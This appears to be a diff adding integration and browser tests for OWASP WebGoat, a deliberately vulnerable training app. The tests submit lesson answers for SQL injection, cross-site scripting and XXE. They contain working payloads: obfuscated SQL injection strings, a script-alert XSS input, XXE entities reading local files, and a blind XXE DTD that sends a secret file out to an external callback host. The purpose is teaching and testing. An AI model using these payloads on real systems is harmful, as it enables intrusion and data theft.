+    params.put("account", sql_9_account);
+    params.put("injection", sql_9_injection);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
+
+    params.clear();
+    params.put("login_count", sql_10_login_count);
+    params.put("userid", sql_10_userid);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
+
+    params.clear();
+    params.put("name", sql_11_a);
+    params.put("auth_tan", sql_11_b);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
+
+    params.clear();
+    params.put("name", sql_12_a);
+    params.put("auth_tan", sql_12_b);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
+
+    params.clear();
+    params.put("action_string", sql_13);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
+
+    checkResults("SqlInjection");
+  }
+}

src/it/java/org/owasp/webgoat/integration/SqlInjectionMitigationIntegrationTest.java

@@ -0,0 +1,88 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.hamcrest.CoreMatchers.containsString;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("SqlInjectionMitigations");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("field1", "getConnection");
+    params.put("field2", "PreparedStatement prep");
+    params.put("field3", "prepareStatement");
+    params.put("field4", "?");
+    params.put("field5", "?");
+    params.put("field6", "prep.setString(1,\"\")");
+    params.put("field7", "prep.setString(2,\\\"\\\")");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
+
+    params.put(
+        "editor",
+        "try {\r\n"
+            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+            + " = ?\");\r\n"
+            + "    prep.setString(1,\"me\");\r\n"
+            + "    prep.execute();\r\n"
+            + "    System.out.println(conn);   //should output 'null'\r\n"
+            + "} catch (Exception e) {\r\n"
+            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
+            + "}");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
+
+    params.clear();
+    params.put(
+        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+      checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
+
+    params.clear();
+    params.put(
+        "userid_sql_only_input_validation_on_keywords",
+        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+      checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
+
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(
+                webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+                        + " else id end)"))
+        .then()
+        .statusCode(200);
+
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
+        .then()
+        .statusCode(500)
+        .body(
+            "trace",
+            containsString(
+                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
+                    + " 'out of order' order by"));
+
+    params.clear();
+    params.put("ip", "104.130.219.202");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
+
+    checkResults("SqlInjectionMitigations");
+  }
+}

src/it/java/org/owasp/webgoat/integration/WebWolfIntegrationTest.java

@@ -0,0 +1,81 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import io.restassured.RestAssured;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class WebWolfIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("WebWolfIntroduction");
+
+    // Assignment 3
+    Map<String, Object> params = new HashMap<>();
+    params.put("email", this.getUser() + "@webgoat.org");
+      checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
+
+    String responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+
+    String uniqueCode = responseBody.replace("%20", " ");
+    uniqueCode =
+        uniqueCode.substring(
+            21 + uniqueCode.lastIndexOf("your unique code is: "),
+            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
+    params.clear();
+    params.put("uniqueCode", uniqueCode);
+      checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
+
+    // Assignment 4
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .queryParams(params)
+        .get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
+        .then()
+        .statusCode(200);
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .queryParams(params)
+        .get(webWolfUrlConfig.url("landing"))
+        .then()
+        .statusCode(200);
+    responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("requests"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    assertTrue(responseBody.contains(uniqueCode));
+    params.clear();
+    params.put("uniqueCode", uniqueCode);
+      checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
+
+    checkResults("WebWolfIntroduction");
+  }
+}

src/it/java/org/owasp/webgoat/integration/XSSIntegrationTest.java

@@ -0,0 +1,120 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class XSSIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void crossSiteScriptingAssignments() {
+    startLesson("CrossSiteScripting");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("checkboxAttack1", "value");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
+
+    params.clear();
+    params.put("QTY1", "1");
+    params.put("QTY2", "1");
+    params.put("QTY3", "1");
+    params.put("QTY4", "1");
+    params.put("field1", "<script>alert('XSS+Test')</script>");
+    params.put("field2", "111");
+      checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
+
+    params.clear();
+    params.put("DOMTestRoute", "start.mvc#test");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
+
+    params.clear();
+    params.put("param1", "42");
+    params.put("param2", "24");
+
+      String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("webgoat-requested-by", "dom-xss-vuln")
+            .header("X-Requested-With", "XMLHttpRequest")
+            .formParams(params)
+            .post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("output");
+    String secretNumber = result.substring("phoneHome Response is ".length());
+
+    params.clear();
+    params.put("successMessage", secretNumber);
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
+
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+            + " the browser does not know that the script is malicious.");
+    params.put(
+        "question_1_solution",
+        "Solution 3: The data is included in dynamic content that is sent to a web user without"
+            + " being validated for malicious content.");
+    params.put(
+        "question_2_solution",
+        "Solution 1: The script is permanently stored on the server and the victim gets the"
+            + " malicious script when requesting information from the server.");
+    params.put(
+        "question_3_solution",
+        "Solution 2: They reflect the injected script off the web server. That occurs when input"
+            + " sent to the web server is part of the request.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+            + " the browser executes.");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
+
+    params.clear();
+    params.put(
+        "editor",
+        "<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+            + "<html>"
+            + "<head>"
+            + "<title>Using GET and POST Method to Read Form Data</title>"
+            + "</head>"
+            + "<body>"
+            + "<h1>Using POST Method to Read Form Data</h1>"
+            + "<table>"
+            + "<tbody>"
+            + "<tr>"
+            + "<td><b>First Name:</b></td>"
+            + "<td>${e:forHtml(param.first_name)}</td>"
+            + "</tr>"
+            + "<tr>"
+            + "<td><b>Last Name:</b></td>"
+            + "<td>${e:forHtml(param.last_name)}</td>"
+            + "</tr>"
+            + "</tbody>"
+            + "</table>"
+            + "</body>"
+            + "</html>");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
+
+    params.clear();
+    params.put(
+        "editor2",
+        "Policy.getInstance(\"antisamy-slashdot.xml\");"
+            + "Sammy s = new AntiSamy();"
+            + "s.scan(newComment,\"\");"
+            + "CleanResults();"
+            + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
+      checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
+
+    checkResults("CrossSiteScripting");
+  }
+}

src/it/java/org/owasp/webgoat/integration/XXEIntegrationTest.java

@@ -0,0 +1,121 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.io.IOException;
+import org.junit.jupiter.api.Test;
+
+public class XXEIntegrationTest extends IntegrationTest {
+
+  private static final String xxe3 =
+      """
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+""";
+  private static final String xxe4 =
+      """
+<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+""";
+  private static final String dtd7 =
+      """
+<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
+""";
+  private static final String xxe7 =
+      """
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
+""";
+
+  private String webGoatHomeDirectory;
+
+  // TODO fix me
+  //  /*
+  //   * This test is to verify that all is secure when XXE security patch is applied.
+  //   */
+  //  @Test
+  //  public void xxeSecure() throws IOException {
+  //    startLesson("XXE");
+  //    webGoatHomeDirectory = webGoatServerDirectory();
+  //    RestAssured.given()
+  //        .when()
+  //        .relaxedHTTPSValidation()
+  //        .cookie("JSESSIONID", getWebGoatCookie())
+  //        .get(url("service/enable-security.mvc"))
+  //        .then()
+  //        .statusCode(200);
+  //    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
+  //    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
+  //    checkAssignment(
+  //        url("xxe/blind"),
+  //        ContentType.XML,
+  //        "<comment><text>" + getSecret() + "</text></comment>",
+  //        false);
+  //  }
+
+  /**
+   * This performs the steps of the exercise before the secret can be committed in the final step.
+   *
+   * @return
+   */
+  private String getSecret() {
+    String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
+    String webWolfCallback = webWolfUrlConfig.url("landing");
+    String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
+
+    // upload DTD
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "blind.dtd", dtd7String.getBytes())
+        .post(webWolfUrlConfig.url("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+
+    // upload attack
+    String xxe7String =
+        xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
+            .replace("USERNAME", this.getUser());
+      checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
+
+    // read results from WebWolf
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("requests"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.replace("%20", " ");
+    if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
+      result =
+          result.substring(
+              result.lastIndexOf("WebGoat 8.0 rocks... ("),
+              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
+    }
+    return result;
+  }
+
+  @Test
+  public void runTests() throws IOException {
+    startLesson("XXE", true);
+    webGoatHomeDirectory = webGoatServerDirectory();
+      checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
+      checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
+      checkAssignment(
+              webGoatUrlConfig.url("xxe/blind"),
+        ContentType.XML,
+        "<comment><text>" + getSecret() + "</text></comment>",
+        true);
+    checkResults("XXE");
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/HttpBasicsLessonUITest.java

@@ -0,0 +1,83 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.*;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.MethodOrderer;
+import org.junit.jupiter.api.Order;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.TestMethodOrder;
+import org.owasp.webgoat.container.lessons.LessonName;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webgoat.pages.HttpBasicsLessonPage;
+
+@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
+public class HttpBasicsLessonUITest extends PlaywrightTest {
+
+  private HttpBasicsLessonPage lessonPage;
+
+  @BeforeEach
+  void navigateToLesson(Browser browser) {
+    var lessonName = new LessonName("HttpBasics");
+    var page = Authentication.sylvester(browser);
+
+    this.lessonPage = new HttpBasicsLessonPage(page);
+    lessonPage.resetLesson(lessonName);
+    lessonPage.open(lessonName);
+  }
+
+  @Test
+  @Order(1)
+  void shouldShowDefaultPage() {
+    assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
+    Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
+    Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
+  }
+
+  @Test
+  @Order(2)
+  @DisplayName(
+      "When the user enters their name, the server should reverse it then the assignment should be"
+          + " solved")
+  void solvePage2() {
+    lessonPage.navigateTo(2);
+    lessonPage.getEnterYourName().fill("John Doe");
+    lessonPage.getGoButton().click();
+
+    assertThat(lessonPage.getAssignmentOutput())
+        .containsText("The server has reversed your name: eoD nhoJ");
+    Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
+  }
+
+  @Test
+  @Order(3)
+  @DisplayName("When the user enters nothing then the server should display an error message")
+  void invalidPage2() {
+    lessonPage.navigateTo(2);
+    lessonPage.getEnterYourName().fill("");
+    lessonPage.getGoButton().click();
+
+    assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
+  }
+
+  @Test
+  @Order(4)
+  @DisplayName(
+      "Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
+  void shouldNotSolvePage1(Browser browser) {
+    lessonPage.navigateTo(2);
+    lessonPage.getEnterYourName().fill("John Doe");
+    lessonPage.getGoButton().click();
+
+    var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
+    tweetyLessonPage.open(new LessonName("HttpBasics"));
+    Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/LoginUITest.java

@@ -0,0 +1,31 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
+
+class LoginUITest extends PlaywrightTest {
+
+  @Test
+  void loginLogout(Browser browser) {
+    var page = Authentication.tweety(browser);
+    var loginPage = new WebGoatLoginPage(page);
+    loginPage.open();
+    loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
+
+    // logout
+    page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
+    page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
+
+    assertThat(loginPage.getSignInButton()).isVisible();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/PlaywrightTest.java

@@ -0,0 +1,37 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat;
+
+import com.microsoft.playwright.Browser;
+import com.microsoft.playwright.junit.Options;
+import com.microsoft.playwright.junit.OptionsFactory;
+import com.microsoft.playwright.junit.UsePlaywright;
+import org.owasp.webgoat.ServerUrlConfig;
+
+@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
+public class PlaywrightTest {
+
+  private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
+  private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
+
+  public static class WebGoatOptions implements OptionsFactory {
+    @Override
+    public Options getOptions() {
+      return new Options().setHeadless(true).setContextOptions(getContextOptions());
+    }
+  }
+
+  protected static Browser.NewContextOptions getContextOptions() {
+    return new Browser.NewContextOptions().setBaseURL(webGoatUrlConfig.getBaseUrl());
+  }
+
+  public static String webGoatUrl(String path) {
+    return webGoatUrlConfig.url(path);
+  }
+
+  public static String webWolfURL(String path) {
+    return webWolfUrlConfig.url(path);
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/RegistrationUITest.java

@@ -0,0 +1,48 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import org.junit.jupiter.api.DisplayName;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
+import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
+
+public class RegistrationUITest extends PlaywrightTest {
+
+  @Test
+  @DisplayName("Should register a new user while logged in as other user")
+  void registerWhileLoggedIn(Browser browser) {
+    var page = Authentication.tweety(browser);
+    var loginPage = new WebGoatLoginPage(page);
+    loginPage.open();
+    loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
+
+    var newUsername = "newuser" + System.currentTimeMillis();
+    var password = "password123";
+    var registrationPage = new RegistrationPage(page);
+    registrationPage.open();
+    registrationPage.register(newUsername, password);
+
+    assertThat(page.content()).contains(newUsername);
+  }
+
+  @Test
+  @DisplayName("Should register a new user")
+  void registerNewUser(Browser browser) {
+    var page = browser.newContext().newPage();
+    var registrationPage = new RegistrationPage(page);
+    registrationPage.open();
+
+    var newUsername = "newuser" + System.currentTimeMillis();
+    var password = "password123";
+    registrationPage.register(newUsername, password);
+
+    assertThat(page.content()).contains(newUsername);
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/helpers/Authentication.java

@@ -0,0 +1,65 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.helpers;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import com.microsoft.playwright.Page;
+import lombok.Getter;
+import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
+import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
+import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
+
+/**
+ * Helper class to authenticate users in WebGoat and WebWolf.
+ *
+ * <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
+ * WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
+ * and reused for subsequent requests.
+ */
+public class Authentication {
+
+  public record User(String name, String password, String auth) {
+    boolean loggedIn() {
+      return auth != null;
+    }
+  }
+
+  @Getter private static User sylvester = new User("sylvester", "sylvester", null);
+  @Getter private static User tweety = new User("tweety", "tweety", null);
+
+  public static Page sylvester(Browser browser) {
+    User user = login(browser, sylvester);
+    return browser.newContext(new Browser.NewContextOptions().setStorageState(user.auth)).newPage();
+  }
+
+  public static Page tweety(Browser browser) {
+    User user = login(browser, tweety);
+    return browser.newContext(new Browser.NewContextOptions().setStorageState(user.auth)).newPage();
+  }
+
+  private static User login(Browser browser, User user) {
+    if (user.loggedIn()) {
+      return user;
+    }
+    var page = browser.newContext().newPage();
+    RegistrationPage registrationPage = new RegistrationPage(page);
+    registrationPage.open();
+    registrationPage.register(user.name, user.password);
+
+    WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
+    loginPage.open();
+    loginPage.login(user.name, user.password);
+    assertThat(loginPage.getSignInButton()).not().isVisible();
+
+    WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
+    webWolfLoginPage.open();
+    webWolfLoginPage.login(user.name, user.password);
+    assertThat(loginPage.getSignInButton()).not().isVisible();
+
+    return new User(user.name, user.password, page.context().storageState());
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/HttpBasicsLessonPage.java

@@ -0,0 +1,28 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+
+@Getter
+public class HttpBasicsLessonPage extends LessonPage {
+
+  private final Locator enterYourName;
+  private final Locator goButton;
+
+  public HttpBasicsLessonPage(Page page) {
+    super(page);
+    enterYourName = page.locator("input[name=\"person\"]");
+    goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
+  }
+
+  public Locator getTitle() {
+    return getPage()
+        .getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/LessonPage.java

@@ -0,0 +1,68 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages;
+
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+import org.assertj.core.api.Assertions;
+import org.owasp.webgoat.container.lessons.LessonName;
+
+@Getter
+class LessonPage {
+
+  private final Page page;
+
+  public LessonPage(Page page) {
+    this.page = page;
+  }
+
+  public void navigateTo(int pageNumber) {
+    page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
+  }
+
+  public void open(LessonName lessonName) {
+    page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
+  }
+
+  /**
+   * Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
+   * seconds
+   */
+  public void refreshPage() {
+    page.reload();
+  }
+
+  public void resetLesson(LessonName lessonName) {
+    Assertions.assertThat(
+            page.request()
+                .get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
+                .ok())
+        .isTrue();
+    refreshPage();
+  }
+
+  public int numberOfAssignments() {
+    return page.locator(".attack-link.solved-false").count()
+        + page.locator(".attack-link.solved-true").count();
+  }
+
+  public boolean isAssignmentSolved(int pageNumber) {
+    var solvedAssignments = page.locator(".attack-link.solved-true");
+    solvedAssignments.waitFor();
+    return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
+  }
+
+  public boolean noAssignmentsCompleted() {
+    return page.locator(".attack-link.solved-true").count() == 0;
+  }
+
+  public Locator getAssignmentOutput() {
+    return page.locator("#lesson-content-wrapper");
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/RegistrationPage.java

@@ -0,0 +1,36 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages;
+
+import static com.microsoft.playwright.options.AriaRole.BUTTON;
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+
+public class RegistrationPage {
+
+  private final Page page;
+  @Getter private final Locator signUpButton;
+
+  public RegistrationPage(Page page) {
+    this.page = page;
+    this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
+  }
+
+  public void open() {
+    page.navigate(webGoatUrl("registration"));
+  }
+
+  public void register(String username, String password) {
+    page.getByPlaceholder("Username").fill(username);
+    page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
+    page.getByLabel("Confirm password").fill(password);
+    page.getByLabel("Agree with the terms and").check();
+    page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webgoat/pages/WebGoatLoginPage.java

@@ -0,0 +1,33 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webgoat.pages;
+
+import static com.microsoft.playwright.options.AriaRole.BUTTON;
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import lombok.Getter;
+
+public class WebGoatLoginPage {
+
+  private final Page page;
+  @Getter private final Locator signInButton;
+
+  public WebGoatLoginPage(Page page) {
+    this.page = page;
+    this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
+  }
+
+  public void open() {
+    page.navigate(webGoatUrl("login"));
+  }
+
+  public void login(String username, String password) {
+    page.getByPlaceholder("Username").fill(username);
+    page.getByPlaceholder("Password").fill(password);
+    page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webwolf/JwtUITest.java

@@ -0,0 +1,36 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webwolf;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+
+class JwtUITest extends PlaywrightTest {
+
+  @Test
+  void shouldDecodeJwt(Browser browser) {
+    var page = Authentication.sylvester(browser);
+    var secretKey = "test";
+    var jwt =
+        "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
+
+    page.navigate(webWolfURL("jwt"));
+    page.getByPlaceholder("Enter your secret key").fill(secretKey);
+    page.getByPlaceholder("Paste token here").type(jwt);
+    assertThat(page.locator("#header"))
+        .hasValue("{\n  \"alg\" : \"HS256\",\n  \"typ\" : \"JWT\"\n}");
